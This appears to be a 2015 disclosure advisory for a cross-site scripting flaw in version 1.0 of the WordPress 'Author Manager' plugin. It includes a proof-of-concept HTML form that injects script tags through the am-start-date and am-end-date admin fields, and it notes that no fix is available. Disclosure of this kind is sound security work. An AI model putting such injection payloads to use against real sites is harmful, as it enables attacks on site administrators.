Title: WordPress 'Author Manager' Plugin 
Version: 1.0
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-16
Download: 
- https://wordpress.org/plugins/author-manager/
- https://plugins.svn.wordpress.org/author-manager/
Notified Vendor/WordPress: 2015-06-21
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## Plugin description
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Author Manager is a must-have for administrators of a multiple-author WordPress site. Easily view post statistics by date.

## Vulnerabilities
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Some of the fields in the admin panel is vulnerable to XSS.

PoC:
Log in as admin and submit the following form:

<form method="POST" action="[URL]/wp-admin/users.php?page=author-manager%2Fauthor_manager.php"> 
   <input type="text" name="am-filter-type" value="am-date-filter" readonly><br />
   <input type="text" name="am-start-date" value="'><script>alert(1)</script>"><br />
   <input type="text" name="am-end-date" value="'><script>alert(2)</script>"><br />
  <input type="submit">
</form>

## Solution
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No fix available

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Vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.